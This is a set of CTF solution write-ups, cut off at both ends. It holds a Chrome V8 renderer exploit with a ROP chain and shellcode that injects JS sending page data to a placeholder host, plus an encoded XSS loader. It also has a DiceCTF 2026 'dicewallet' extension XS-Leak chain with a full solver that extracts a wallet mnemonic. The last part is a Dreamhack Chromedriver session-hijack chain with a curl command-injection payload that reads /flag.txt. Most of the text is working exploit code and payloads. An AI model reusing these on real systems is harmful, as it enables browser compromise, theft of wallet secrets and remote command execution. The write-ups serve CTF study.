    corrupted_obj.p18 = 4;
    let small_obj_addr = addr_of(small_obj);
    let small_obj_map_and_props = v8_read64(small_obj_addr);
    let corrupted_obj_addr = addr_of(corrupted_obj);
    v8_write64(corrupted_obj_addr, small_obj_map_and_props); //restore the corrupted MAP
    corrupted_obj = null;
    
    
    // UXSS CODE START
    
    f_code = v8_read64(addr_of(Math.min) + 0x18n - 1n)  & ((1n << 32n) - 1n);
    f_ptr = f_code-0x1n+0x10n;
    f_code_code_entry_point = v8_read64(f_ptr);
    
    let lek = v8_read64(0x20n);
    
    heap_base = lek & ~0xffffffffn;
    
    chrome_base = f_code_code_entry_point-0x676f440n;
    global_addr = addr_of(globalThis) - 1n;
    native_ctx_addr = v8_read64(global_addr + 12n);
    
    let sc_arr = [
        // mov rdi, chrome base
        0x48, 0xBF, 
            Number(chrome_base&0xffn), 
            Number((chrome_base>>8n)&0xffn),
            Number((chrome_base>>16n)&0xffn),
            Number((chrome_base>>24n)&0xffn),
            Number((chrome_base>>32n)&0xffn),
            Number((chrome_base>>40n)&0xffn), 0x00, 0x00,
        
        %SHELLCODE%,
    
    ];
    sc_arr = sc_arr.concat(Array(0x200 - sc_arr.length).fill(0x90));
    sc_arr = sc_arr.concat([%HOOKCODE%]);
    
    let sc = new Uint8Array(sc_arr);
    let sc_addr = (v8_read64(addr_of(sc) - 1n + 0x30n)) & ((1n << 32n) - 1n);
    
    
    let gadget_pop_jmp = chrome_base + 0x3b35355n; // pop rdx ; jmp qword ptr [rsi + 0x41]
    let gadget_pivot = chrome_base + 0x8be6b04n; // pop rsp ; add rsp, 8 ; pop rbx ; pop r14 ; ret
    let rop_addr = addr_of(Math) + 0x18n - 1n; 
    let mprotect_plt = chrome_base + 0xd23e970n;
    
    let pop_rdi = chrome_base + 0x38137dan;
    let pop_rsi = chrome_base + 0x386f93en;
    let pop_rdx = chrome_base + 0x3a5b2f2n;
    
    let heap_upper = heap_base & ~((1n << 32n) - 1n);
    
    let sc_full_addr = heap_upper + (sc_addr << 8n);
    
    v8_write64(f_ptr, gadget_pop_jmp);
    v8_write64(native_ctx_addr + 0x41n, gadget_pivot);
    
    v8_write64(rop_addr+0x00n, pop_rdi<<8n);
    v8_write64(rop_addr+0x08n, (sc_full_addr&~0xfffn)<<8n);
    
    v8_write64(rop_addr+0x10n, pop_rsi<<8n);
    v8_write64(rop_addr+0x18n, 0x1000n<<8n);
    
    v8_write64(rop_addr+0x20n, pop_rdx<<8n);
    v8_write64(rop_addr+0x28n, 7n<<8n);
    
    v8_write64(rop_addr+0x30n, mprotect_plt<<8n);
    v8_write64(rop_addr+0x38n, sc_full_addr<<8n);
    v8_write64(rop_addr+0x40n, 0n<<8n);
    
    // trigger ROP
    Math.min();
    
    location = 'http://flamethrower.chal.idek.team:1337/';
    
    // bot submit
    // http://idek-hello.chal.idek.team:1337/?name=%3Csvg%0Conload=eval(atob(%22cz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtzLnNyYz0naHR0cHM6Ly94eHgueXl5Lnp6ei9leHBsb2l0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHMpOw==%22))%3E
    from keystone import *
    from struct import pack, unpack
    
    SYS_mprotect = 10
    
    ks = Ks(KS_ARCH_X86, KS_MODE_64)
    
    code, _ = ks.asm(f'''
        push rbp
        lea rbp, [rsp-0x100]
        
        mov [rbp], rdi // chrome base
        call get_sc_addr
    
    get_sc_addr:
        pop rax
        and rax, ~0xffff
        mov [rbp+8], rax // shellcode base
    
    
        // make GOT writable
        lea rdi, [rdi+0xda00c78] // mmap64 addr
        and rdi, ~0xfff
        mov rsi, 0x1000
        mov rdx, 3
        mov rax, {SYS_mprotect}
        syscall
    
    
        // hook mmap64
        mov rdi, [rbp]
        lea rdi, [rdi+0xda00c78]
        mov rsi, [rbp+8]
        add rsi, 0x200
        mov [rdi], rsi
        
        shl rax, 1
        
        pop rbp
    
        // clean exit from rop
        mov    r14,rsp
        shr    r14,0x20
        shl    r14,0x20
        lea    rsp,[rbp-0x88]
        ret 
    ''')
    
    inject = list(b"fetch('/api/post/3').then(r=>r.text()).then(r=>location='//xxx.yyy.zzz/'+r);//")
    hook_code, _ = ks.asm(f'''
    
        // og mmap
        mov r10, rcx
        mov rax, 9
        syscall
    
        push rax
    
        // check target
        mov rax, [rsp]
        cmp dword ptr [rax], 0x6f706d69 // "impo"...rt flamethrower from...
        jnz fin
    
        // replace target
        mov rdi, rax
        lea rsi, [rip+inject]
        mov ecx, {len(inject)}
        cld
        rep movsb
    
    fin:
        pop rax
        ret
    
    inject:
    ''')
    
    assert hook_code
    
    hook_code += inject
    
    exp = open('exploit.tpl.js').read()
    
    exp = exp.replace('%SHELLCODE%', repr(code)[1:-1])
    exp = exp.replace('%HOOKCODE%', repr(hook_code)[1:-1])
    open('exploit.js', 'w').write(exp)

    Firefox extension popup oracle with text fragments

    Event NameDiceCTF 2026
    GitHub URL-
    Challenge Namedicewallet
    Attachments
    References

  • The solve is a bug chain, not one bug:
    • handleRequest() mutates and returns the original msg, so falsy provider results preserve attacker-controlled fields like fn
    • content.js always appends secret and posts the response object back into the page
    • wallet_renameAccount stores raw HTML in account names, and the popup renders that name unsafely
    • eth_signTypedData_v4 places raw JSON.stringify(...) into details= without URI encoding
    • popup.js routes by location.href.split("#").pop(), so # inside attacker-controlled data retargets the popup
  • Final exfil primitive is a Firefox/browser XS-Leak inside the extension popup, not popup JS execution.
  • The popup is forced onto /popup.html#/export/phrase, Firefox text fragments are used as a scroll oracle, and a lazy iframe / preconnect turns scroll-or-no-scroll into connect-or-no-connect.
  • Public oracle host used by the extractor: http://1pc.tf:8080/
  • why it is vulnerable
    // content.js
    chrome.runtime.onMessage.addListener((result) => {
      if (result.type === "DICE_RESPONSE") {
        // On success, the content script rewrites fn to dwOnMessage.
        result.fn = "dwOnMessage";
      } else if (result.type === "DICE_ERROR") {
        // On error, it rewrites fn to dwOnError.
        result.fn = "dwOnError";
      }
      // The secret is always appended and the whole object is posted back into the page.
      result.secret = secret;
      window.postMessage(result, location.origin);
    });
    
    // background.js
    case "eth_signTypedData_v4": {
      if (!isConnected(origin)) throw new Error("Unauthorized - call eth_requestAccounts first");
      const typedData = typeof params[1] === "string" ? JSON.parse(params[1]) : params[1];
      const { domain, types, message } = typedData;
      const cid = nextConfirmId();
      await requestConfirmation(
        cid,
        // Bug: details uses raw JSON.stringify(...) and is not URI-encoded.
        // If attacker-controlled data contains '#', it can retarget the popup route.
        `/confirm?id=${cid}&type=eth_signTypedData_v4&origin=${encodeURIComponent(origin)}&details=${JSON.stringify({ domain, types, message })}`
      );
      return w.signTypedData(domain, sigTypes, message);
    }
    
    case "wallet_renameAccount": {
      requireAllowedOrigin(origin);
      const rIdx = params[0]?.index ?? 0;
      const rName = params[0]?.name;
      if (rIdx < 0 || rIdx >= wallet.accounts.length) throw new Error("Invalid account index");
      if (!rName) throw new Error("Name required");
      // Bug: attacker-controlled HTML is stored as the account name.
      wallet.accounts[rIdx].name = rName;
      await saveWallet();
      return { ok: true };
    }
    
    async function handleRequest(msg, origin) {
      try {
        const response = await handleProviderRequest(msg.method, msg.params || [], origin);
        if (response) {
          // Bug: the original msg object is mutated and returned.
          // If response is falsy, this block does not run and attacker-controlled fields survive.
          msg.type = "DICE_RESPONSE";
          msg.result = response;
        }
      } catch (err) {
        msg.type = "DICE_ERROR";
        msg.error = err.message;
      }
      return msg;
    }
    
    // popup.js
    function hashUrl() {
      if (location.href.includes("#")) {
        // Bug: split("#").pop() means an extra '#' inside attacker-controlled data
        // changes which route the popup thinks it is on.
        return new URL(location.href.split("#").pop(), "http://x");
      }
      return new URL("/", "http://x");
    }
    
    // popup.js export route
    (async () => {
      try {
        // Useful sink: once the popup is steered here, exportMnemonic is called
        // and the mnemonic is rendered into the DOM.
        const { mnemonic } = await sendMsg({ action: "exportMnemonic" });
        populateGrid(mnemonic.split(" "));
      } catch (e) { toast(e.message, true); }
    })();
    exploit payload
    async function runLocalOracle(batch, attackerOrigin) {
      if (window.__diceOracleRan) return;
      window.__diceOracleRan = true;
      const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
    
      async function safeRequest(body) {
        return window.ethereum.request(body);
      }
    
      for (let i = 0; i < 100 && !window.ethereum; i++) {
        await sleep(50);
      }
    
      const account = (await safeRequest({ method: "eth_accounts" }))[0];
    
      for (const item of batch) {
        const probeFrag = item.frag || item.probe;
        const probeMarker = item.marker || item.probe;
    
        const stage1 = '</span><meta http-equiv="refresh" content="2;url=/popup.html#/export/phrase"><span>';
        const stage2 =
          '</span>' +
          '<meta http-equiv="refresh" content="1;url=#/export/phrase:~:text=' + encodeURIComponent(probeFrag) + '">' +
          '<svg width="10" height="3200"></svg>' +
          '<div id="probe">' + probeMarker + '</div>' +
          '<iframe id="beacon" loading="lazy" srcdoc="<link rel=preconnect href=' + item.endpoint + '>"></iframe>' +
          '<span>';
    
        await safeRequest({
          method: "wallet_renameAccount",
          params: [{ index: 0, name: stage1 }],
        });
    
        window.ethereum.request({
          method: "personal_sign",
          params: ["0x1234", account],
        }).catch(() => {});
    
        await sleep(400);
    
        await safeRequest({
          method: "wallet_renameAccount",
          params: [{ index: 0, name: stage2 }],
        });
    
        await sleep(4500);
      }
    
      location.href = "about:blank";
    }
    
    async function main() {
      for (let i = 0; i < 100 && !window.ethereum; i++) {
        await new Promise((resolve) => setTimeout(resolve, 50));
      }
    
      const payload = `(${runLocalOracle.toString()})(cfg, ${JSON.stringify(location.origin)})`;
      const req = [payload];
      req.type = "DICE_REQUEST";
      req.method = "eth_getTransactionByHash";
      req.params = ["0x0000000000000000000000000000000000000000000000000000000000000001"];
      req.fn = "setTimeout";
      window.postMessage(req, location.origin);
      location.href = "http://localhost:8080/";
    }
    solver
    #!/usr/bin/env python3
    """
    Blind DiceWallet text-fragment oracle solver.
    
    Examples:
      Remote:
        python3 lab/solve_true_oracle.py \
          --oracle-url http://1pc.tf:4444/oracle.html \
          --connect-host 1pc.tf
    
      Local Docker target, without Docker commands in the solver:
        python3 lab/remoteprobe/server.py &
        python3 lab/solve_true_oracle.py \
          --oracle-url http://172.0.0.1:4444/oracle.html \
          --connect-host 172.0.0.1
    """
    
    import argparse
    import base64
    import json
    import socket
    import subprocess
    import sys
    import threading
    import time
    from pathlib import Path
    from urllib import parse, request
    
    
    ROOT = Path(__file__).resolve().parent
    DEFAULT_BOT_URL = "http://127.0.0.1:18080"
    DEFAULT_FLAG_URL = "http://127.0.0.1:18080/flag"
    DEFAULT_ORACLE_URL = "http://127.0.0.1:4444/oracle.html"
    DEFAULT_BIND_HOST = "0.0.0.0"
    DEFAULT_CONCURRENCY = 3
    DEFAULT_BATCH_SIZE = 4
    DEFAULT_WAIT_PER_PROBE = 7.0
    DEFAULT_WAIT_FLOOR = 12.0
    DEFAULT_PORT_BASE = 9300
    DEFAULT_STATE = ROOT / "true_oracle_state.json"
    DEFAULT_VISIT_RETRY = 5.0
    
    
    def post_json(url, payload):
        data = json.dumps(payload).encode()
        req = request.Request(url, data=data, headers={"Content-Type": "application/json"})
        with request.urlopen(req, timeout=30) as response:
            return json.loads(response.read().decode())
    
    
    def post_visit_with_retry(bot_url, visit_url, retry_delay):
        while True:
            result = post_json(f"{bot_url}/visit", {"url": visit_url})
            if result.get("ok"):
                return result
            error = result.get("error", "")
            if "Too many concurrent visits" not in error:
                raise RuntimeError(f"Visit failed for {visit_url}: {result}")
            time.sleep(retry_delay)
    
    
    def load_wordlist():
        script = r"""
    const { LangEn } = require('./lab/dicewallet/bot/node_modules/ethers/lib.commonjs/wordlists/lang-en.js');
    const wl = LangEn.wordlist();
    const out = [];
    for (let i = 0; i < 2048; i++) out.push(wl.getWord(i));
    console.log(JSON.stringify(out));
    """
        output = subprocess.run(
            ["node", "-e", script],
            text=True,
            capture_output=True,
            check=True,
        ).stdout
        return json.loads(output)
    
    
    def load_state(path):
        if not path.exists():
            return {"discovery": {}, "positions": {}, "meta": {}}
        with path.open() as handle:
            return json.load(handle)
    
    
    def save_state(path, state):
        path.parent.mkdir(parents=True, exist_ok=True)
        tmp = path.with_suffix(path.suffix + ".tmp")
        with tmp.open("w") as handle:
            json.dump(state, handle, indent=2, sort_keys=True)
        tmp.replace(path)
    
    
    def build_cfg(items):
        return base64.b64encode(json.dumps(items).encode()).decode()
    
    
    def normalize_probe(probe):
        if isinstance(probe, str):
            return {"label": probe, "probe": probe, "frag": probe, "marker": probe}
        label = probe.get("label") or probe.get("probe") or probe.get("marker") or probe.get("frag")
        if not label:
            raise RuntimeError(f"Invalid probe spec: {probe!r}")
        return {
            "label": label,
            "probe": probe.get("probe", label),
            "frag": probe.get("frag", probe.get("probe", label)),
            "marker": probe.get("marker", probe.get("probe", label)),
        }
    
    
    class NativeListener:
        def __init__(self, bind_host, port):
            self.bind_host = bind_host
            self.port = port
            self.triggered = False
            self._server = None
            self._stop = threading.Event()
            self._ready = threading.Event()
            self._thread = threading.Thread(target=self._serve, daemon=True)
            self._thread.start()
            if not self._ready.wait(timeout=3):
                raise RuntimeError(f"Listener on {bind_host}:{port} failed to start")
    
        def _serve(self):
            server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            self._server = server
            try:
                server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
                server.bind((self.bind_host, self.port))
                server.listen(32)
                server.settimeout(0.5)
                self._ready.set()
                while not self._stop.is_set():
                    try:
                        client, _addr = server.accept()
                    except socket.timeout:
                        continue
                    except OSError:
                        break
                    if self._stop.is_set():
                        try:
                            client.close()
                        except OSError:
                            pass
                        break
                    self.triggered = True
                    try:
                        client.close()
                    except OSError:
                        pass
            finally:
                self._ready.set()
                try:
                    server.close()
                except OSError:
                    pass
                self._server = None
    
        def close(self):
            self._stop.set()
            try:
                if self._server is not None:
                    self._server.close()
            except OSError:
                pass
            self._thread.join(timeout=1)
    
    
    def create_listener(*, bind_host, connect_host, port):
        handle = NativeListener(bind_host, port)
        endpoint = f"http://{connect_host}:{port}"
        return handle, endpoint
    
    
    def schedule_batches(
        *,
        batches,
        bind_host,
        connect_host,
        oracle_url,
        bot_url,
        port_base,
        visit_retry,
        wait_per_probe,
        wait_floor,
    ):
        jobs = []
        for batch_index, probes in enumerate(batches):
            listeners = []
            cfg = []
            for item_index, probe in enumerate(probes):
                probe_spec = normalize_probe(probe)
                port = port_base + (batch_index * batch_size_hint(batches)) + item_index
                handle, endpoint = create_listener(
                    bind_host=bind_host,
                    connect_host=connect_host,
                    port=port,
                )
                listeners.append((probe_spec["label"], handle))
                cfg.append({
                    "label": probe_spec["label"],
                    "probe": probe_spec["probe"],
                    "frag": probe_spec["frag"],
                    "marker": probe_spec["marker"],
                    "endpoint": endpoint,
                })
            visit_url = f"{oracle_url}?cfg={build_cfg(cfg)}"
            post_visit_with_retry(bot_url, visit_url, visit_retry)
            jobs.append(
                {
                    "probes": probes,
                    "listeners": listeners,
                    "wait": max(wait_floor, len(probes) * wait_per_probe),
                    "started_at": time.time(),
                }
            )
        return jobs
    
    
    def batch_size_hint(batches):
        return max((len(batch) for batch in batches), default=1) + 2
    
    
    def collect_jobs(jobs):
        deadline = max(job["started_at"] + job["wait"] for job in jobs)
        now = time.time()
        if deadline > now:
            time.sleep(deadline - now)
        results = {}
        try:
            for job in jobs:
                for probe, handle in job["listeners"]:
                    results[probe] = handle.triggered
        finally:
            for job in jobs:
                for _probe, handle in job["listeners"]:
                    handle.close()
        return results
    
    
    def process_probe_set(
        *,
        probes,
        state_bucket,
        state_path,
        state,
        bind_host,
        connect_host,
        concurrency,
        batch_size,
        oracle_url,
        bot_url,
        port_base,
        visit_retry,
        wait_per_probe,
        wait_floor,
        label,
    ):
        remaining = [probe for probe in probes if probe not in state_bucket]
        total = len(probes)
        if not remaining:
            print(f"[+] {label}: already complete ({total}/{total})")
            return
        print(f"[+] {label}: {total - len(remaining)}/{total} complete, {len(remaining)} remaining")
        batch_groups = []
        current_group = []
        for index in range(0, len(remaining), batch_size):
            current_group.append(remaining[index:index + batch_size])
            if len(current_group) == concurrency:
                batch_groups.append(current_group)
                current_group = []
        if current_group:
            batch_groups.append(current_group)
        completed = total - len(remaining)
        for group in batch_groups:
            jobs = schedule_batches(
                batches=group,
                bind_host=bind_host,
                connect_host=connect_host,
                oracle_url=oracle_url,
                bot_url=bot_url,
                port_base=port_base,
                visit_retry=visit_retry,
                wait_per_probe=wait_per_probe,
                wait_floor=wait_floor,
            )
            results = collect_jobs(jobs)
            for probe, triggered in results.items():
                state_bucket[probe] = triggered
            save_state(state_path, state)
            completed += sum(len(batch) for batch in group)
            print(f"[+] {label}: {completed}/{total}")
    
    
    def position_phase(
        *,
        candidates,
        state,
        state_path,
        full_scan,
        bind_host,
        connect_host,
        concurrency,
        batch_size,
        oracle_url,
        bot_url,
        port_base,
        visit_retry,
        wait_per_probe,
        wait_floor,
    ):
        positions = {}
        for pos in range(1, 13):
            bucket = state["positions"].setdefault(str(pos), {})
            pending = [word for word in candidates if word not in bucket]
            print(f"[+] position {pos}: {len(candidates) - len(pending)}/{len(candidates)} complete")
            while pending:
                groups = []
                current = []
                for index in range(0, len(pending), batch_size):
                    batch = [f"{pos}. {word}" for word in pending[index:index + batch_size]]
                    current.append(batch)
                    if len(current) == concurrency:
                        groups.append(current)
                        current = []
                if current:
                    groups.append(current)
                for group in groups:
                    jobs = schedule_batches(
                        batches=group,
                        bind_host=bind_host,
                        connect_host=connect_host,
                        oracle_url=oracle_url,
                        bot_url=bot_url,
                        port_base=port_base + pos * 128,
                        visit_retry=visit_retry,
                        wait_per_probe=wait_per_probe,
                        wait_floor=wait_floor,
                    )
                    results = collect_jobs(jobs)
                    for probe, triggered in results.items():
                        bucket[probe.split(". ", 1)[1]] = triggered
                    save_state(state_path, state)
                    winner = [word for word, triggered in bucket.items() if not triggered]
                    if not full_scan and len(winner) == 1:
                        positions[pos] = winner[0]
                        break
                winner = [word for word, triggered in bucket.items() if not triggered]
                if not full_scan and len(winner) == 1:
                    positions[pos] = winner[0]
                    break
                pending = [word for word in candidates if word not in bucket]
            winner = [word for word, triggered in bucket.items() if not triggered]
            if full_scan:
                positions[pos] = winner
                print(f"[+] position {pos}: {len(winner)} candidates")
            else:
                if len(winner) != 1:
                    raise RuntimeError(f"Position {pos} unresolved: {winner}")
                positions[pos] = winner[0]
                print(f"[+] position {pos}: {positions[pos]}")
        return positions
    
    
    def parse_args():
        parser = argparse.ArgumentParser(description="Blind DiceWallet text-fragment oracle solver")
        parser.add_argument("--bot-url", default=DEFAULT_BOT_URL, help="Base URL for the bot visit service")
        parser.add_argument("--flag-url", default=DEFAULT_FLAG_URL, help="URL for /flag submission")
        parser.add_argument("--oracle-url", default=DEFAULT_ORACLE_URL, help="Reachable attacker oracle page on your host/domain")
        parser.add_argument("--bind-host", default=DEFAULT_BIND_HOST, help="Local bind host for native listeners")
        parser.add_argument("--connect-host", help="Public or bridge host/IP the browser should connect to for listener endpoints")
        parser.add_argument("--concurrency", type=int, default=DEFAULT_CONCURRENCY, help="Concurrent visits")
        parser.add_argument("--batch-size", type=int, default=DEFAULT_BATCH_SIZE, help="Probes per visit")
        parser.add_argument("--wait-per-probe", type=float, default=DEFAULT_WAIT_PER_PROBE, help="Seconds to allow per probe")
        parser.add_argument("--wait-floor", type=float, default=DEFAULT_WAIT_FLOOR, help="Minimum seconds to wait per visit")
        parser.add_argument("--port-base", type=int, default=DEFAULT_PORT_BASE, help="Starting port range for temporary listeners")
        parser.add_argument("--state", type=Path, default=DEFAULT_STATE, help="Resume/checkpoint state path")
        parser.add_argument("--visit-retry", type=float, default=DEFAULT_VISIT_RETRY, help="Seconds to wait before retrying when the bot is at max active visits")
        parser.add_argument("--candidate-word", action="append", default=[], help="Restrict to these candidates instead of the full BIP39 list")
        parser.add_argument("--candidate-file", type=Path, help="Load candidate words from a newline-delimited file")
        parser.add_argument("--skip-discovery", action="store_true", help="Assume candidate-word values are already the phase-1 superset")
        parser.add_argument("--full-position-scan", action="store_true", help="Scan every candidate for every position and keep all non-triggered words")
        parser.add_argument("--no-flag", action="store_true", help="Do not submit the final mnemonic to /flag")
        return parser.parse_args()
    
    
    def main():
        args = parse_args()
        connect_host = args.connect_host or parse.urlparse(args.oracle_url).hostname
        if not connect_host:
            raise RuntimeError("--connect-host is required when oracle-url has no host")
        state = load_state(args.state)
        state["meta"] = {
            "bot_url": args.bot_url,
            "oracle_url": args.oracle_url,
            "batch_size": args.batch_size,
            "concurrency": args.concurrency,
            "connect_host": connect_host,
        }
        save_state(args.state, state)
    
        if args.candidate_file:
            candidates = [line.strip() for line in args.candidate_file.read_text().splitlines() if line.strip()]
        elif args.candidate_word:
            candidates = args.candidate_word
        else:
            candidates = load_wordlist()
    
        if args.skip_discovery:
            superset = candidates
            print(f"[+] Using provided candidate superset ({len(superset)} words)")
        else:
            process_probe_set(
                probes=candidates,
                state_bucket=state["discovery"],
                state_path=args.state,
                state=state,
                bind_host=args.bind_host,
                connect_host=connect_host,
                concurrency=args.concurrency,
                batch_size=args.batch_size,
                oracle_url=args.oracle_url,
                bot_url=args.bot_url,
                port_base=args.port_base,
                visit_retry=args.visit_retry,
                wait_per_probe=args.wait_per_probe,
                wait_floor=args.wait_floor,
                label="discovery",
            )
            save_state(args.state, state)
            superset = [word for word in candidates if not state["discovery"][word]]
            print(f"[+] discovery superset: {len(superset)} words")
            print("    " + " ".join(sorted(superset)))
    
        positions = position_phase(
            candidates=superset,
            state=state,
            state_path=args.state,
            full_scan=args.full_position_scan,
            bind_host=args.bind_host,
            connect_host=connect_host,
            concurrency=args.concurrency,
            batch_size=args.batch_size,
            oracle_url=args.oracle_url,
            bot_url=args.bot_url,
            port_base=args.port_base + 2000,
            visit_retry=args.visit_retry,
            wait_per_probe=args.wait_per_probe,
            wait_floor=args.wait_floor,
        )
        save_state(args.state, state)
    
        if args.full_position_scan:
            for pos in range(1, 13):
                print(f"[+] position {pos} candidates: {' '.join(positions[pos])}")
            return
    
        mnemonic = " ".join(positions[index] for index in range(1, 13))
        print(f"[+] mnemonic: {mnemonic}")
        if not args.no_flag:
            result = post_json(args.flag_url, {"mnemonic": mnemonic})
            if "flag" not in result:
                raise RuntimeError(f"Unexpected /flag response: {result}")
            print(f"[+] flag: {result['flag']}")
    
    
    if __name__ == "__main__":
        try:
            main()
        except Exception as exc:
            print(f"[!] {exc}", file=sys.stderr)
            sys.exit(1)

    DiceWallet follow-up

  • Verified later that a closed <details> block can replace the flat STTF fallback marker.
  • Firefox auto-opens the matching <details> on an absent probe and the nested lazy iframe srcdoc with link rel=preconnect fires.
  • This variant is cleaner and slightly more reliable, but not materially faster than the flat-marker version.
  • /proc self-XSS to Chromedriver session hijack

    Event NameDreamhack CTF Season 8 Round #2 (Web)
    GitHub URL-
    Challenge NameGo Through Me
    Attachments
    References

  • Root cause: /profile/ is an unauthenticated arbitrary file read over absolute paths with attacker-controlled offset and limit, and /api/report launches a Selenium bot on an attacker-controlled URL.
  • The decisive primitive is browser-side: the attacker reuses /proc/<botpid>/cmdline as an HTML gadget, then reads /proc/<botpid>/mem and /proc/<botpid>/task/<pid>/children to recover the live Selenium sessionId and Chromedriver --port.
  • The injected admin-origin JS steals the Automad CSRF token and hits /_api/package-manager/remove with a command-injection payload that hex-dumps /flag.txt, logs into the public app from inside Docker, and writes the flag into a public post.
  • Final chain: public procfs read -> report bot spawn -> self-sourced /proc XSS -> local Chromedriver CDP hijack -> internal Automad JS execution -> command injection -> public post exfiltration.
  • Timing caveat: the remote solver predicts the fresh bot pid as ns_last_pid + 1 and retries if the pid or memory scan races.
  • why it is vulnerable
    // user-panel/main.go
    func profileHandler(w http.ResponseWriter, r *http.Request) {
        name := strings.TrimPrefix(r.URL.Path, "/profile/")
        fullPath := filepath.Join("/", name) // attacker controls the absolute path
    
        f, _ := os.Open(fullPath)
        offset, _ := strconv.ParseInt(r.URL.Query().Get("offset"), 0, 64)
        limit, _ := strconv.ParseInt(r.URL.Query().Get("limit"), 0, 64)
    
        buf := make([]byte, limit)
        f.ReadAt(buf, offset)                 // bounded random-access read into /proc/*
        fmt.Fprint(w, printable(buf))         // enough to recover text-ish secrets from process state
    }
    
    func reportHandler(w http.ResponseWriter, r *http.Request) {
        path := r.FormValue("path")
        finalURL := "http://localhost:80" + path
        exec.Command("python3", "bot.py", finalURL, adminPassword).Start()
        // attacker controls a URL string that is later visible in /proc/<pid>/cmdline
    }
    # user-panel/bot.py
    # The bot authenticates to the internal admin panel first...
    driver.get("http://admin-app/dashboard/login")
    ...
    submit_btn.click()
    
    # ...then visits attacker-controlled content in the same browser session.
    driver.get(url)
    time.sleep(60)  # long enough to scan /proc and reuse the existing session
    Inference from the working payload against the bundled `automad/automad v2.x-dev` image:
    `/_api/package-manager/remove` reaches a shell sink with attacker-controlled `package`,
    so `foo; <cmd>;#` yields command execution once the CSRF token is supplied.
    exploit payload
    // Stage 1: JS read back from /proc/<botpid>/cmdline and executed in the bot page.
    // It waits for a config post containing <sessionId>:<port>, then tells Chromedriver
    // to inject stage 2 into every new document and navigates the browser to admin-app.
    const body = JSON.stringify({
      cmd: 'Page.addScriptToEvaluateOnNewDocument',
      params: { source: 'onload=_=>eval(name)' }
    });
    fetch('http://localhost:' + port + '/session/' + sid + '/goog/cdp/execute', {
      method: 'POST',
      mode: 'no-cors',
      headers: { 'Content-Type': 'text/plain' },
      body
    });
    fetch('http://localhost:' + port + '/session/' + sid + '/url', {
      method: 'POST',
      mode: 'no-cors',
      headers: { 'Content-Type': 'text/plain' },
      body: '{"url":"http://admin-app/dashboard"}'
    });
    
    // Stage 2: JS now running in the authenticated Automad origin.
    var csrf = document.querySelector('meta[name=csrf]').content;
    var payload = "foo;u=flaguser;p=flagpass;rm -f /tmp/c;" +
      'curl -sS -c /tmp/c -d "username=$u&password=$p&nickname=Flaguser&bio=Flaguser" http://app/register >/dev/null 2>&1||true;' +
      'curl -sS -b /tmp/c -c /tmp/c -d "username=$u&password=$p" http://app/login >/dev/null;' +
      'h=$(od -An -tx1 -v /flag.txt|tr -d " \\n");' +
      'curl -sS -b /tmp/c -d "title=FLAGxxxx&content=$h" http://app/edit >/dev/null;#';
    var req = '__csrf__=' + encodeURIComponent(csrf) + '&package=' + encodeURIComponent(payload);
    var x = new XMLHttpRequest();
    x.open('POST', '/_api/package-manager/remove', false);
    x.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    x.send(req);
    solver
    #!/usr/bin/env python3
    import json
    import random
    import re
    import string
    import time
    from concurrent.futures import ThreadPoolExecutor, as_completed
    
    import requests
    
    BASE = "http://host1.dreamhack.games:18735"
    SID_RE = re.compile(r'sessionId":"([0-9a-f]{32})')
    PORT_RE = re.compile(r'chromedriver.*--port=(\d+)')
    HEX_RE = re.compile(r"<p>([0-9a-f]{8,})</p>", re.I)
    
    
    def rand(n=8):
        return "".join(random.choice(string.ascii_lowercase + string.digits) for _ in range(n))
    
    
    s = requests.Session()
    
    
    def get(path, sess=s):
        return sess.get(BASE + path, timeout=5)
    
    
    def post(path, data, sess=s):
        return sess.post(BASE + path, data=data, timeout=5, allow_redirects=False)
    
    
    u, p = rand(), rand()
    post("/register", {"username": u, "password": p, "nickname": "Researcher", "bio": "Researcher"})
    assert post("/login", {"username": u, "password": p}).status_code in (302, 303)
    
    highest = 0
    for i in range(1, 200):
        if get(f"/page/{i}").status_code == 200:
            highest = i
    
    flag_title = "FLAG" + rand(4)
    cmd_page, cfg_page, first_flag_page = highest + 1, highest + 2, highest + 3
    
    shell = (
        "foo;u=flaguser;p=flagpass;rm -f /tmp/c;"
        'curl -sS -c /tmp/c -d "username=$u&password=$p&nickname=Flaguser&bio=Flaguser" http://app/register >/dev/null 2>&1||true;'
        'curl -sS -b /tmp/c -c /tmp/c -d "username=$u&password=$p" http://app/login >/dev/null;'
        'h=$(od -An -tx1 -v /flag.txt|tr -d " \\n");'
        f'curl -sS -b /tmp/c -d "title={flag_title}&content=$h" http://app/edit >/dev/null;#'
    )
    stage2 = (
        "var c=document.querySelector('meta[name=csrf]').content;"
        "var b='__csrf__='+encodeURIComponent(c)+'&package='+encodeURIComponent(" + json.dumps(shell) + ");"
        "var x=new XMLHttpRequest();x.open('POST','/_api/package-manager/remove',false);"
        "x.setRequestHeader('Content-Type','application/x-www-form-urlencoded');x.send(b)"
    )
    post("/edit", {"title": "CMDBODY", "content": stage2.encode().hex()})
    
    ns_last_pid = int(get("/profile/proc/sys/kernel/ns_last_pid%3f").text.strip())
    bot_pid = ns_last_pid + 1
    
    inner = (
        "(()=>{x=0;p=_=>fetch('/page/" + str(cfg_page) + "?'+Date.now()).then(r=>r.text()).then(a=>{"
        "m=/([0-9a-f]{32}):(\\d+)/.exec(a);if(!m||x)return;"
        "fetch('/page/" + str(cmd_page) + "').then(r=>r.text()).then(b=>{h=/<p>([0-9a-f]+)/.exec(b);if(!h||x)return;x=1;"
        "name=h[1].replace(/../g,a=>unescape('%'+a));s=m[1];t=m[2];"
        "b=JSON.stringify({cmd:'Page.addScriptToEvaluateOnNewDocument',params:{source:'onload=_=>eval(name)'}});"
        "H={'Content-Type':'text/plain'};"
        "fetch('http://localhost:'+t+'/session/'+s+'/goog/cdp/execute',{method:'POST',mode:'no-cors',headers:H,body:b})"
        ".then(_=>fetch('http://localhost:'+t+'/session/'+s+'/url',{method:'POST',mode:'no-cors',headers:H,body:'{\"url\":\"http://admin-app/dashboard\"}'}))"
        "})});setInterval(p,1000);p()})()"
    )
    wrapper = "<script>h='" + inner.encode().hex() + "';s='';for(i=0;i<h.length;i+=2)s+=String.fromCharCode(parseInt(h.substr(i,2),16));eval(s)</script>"
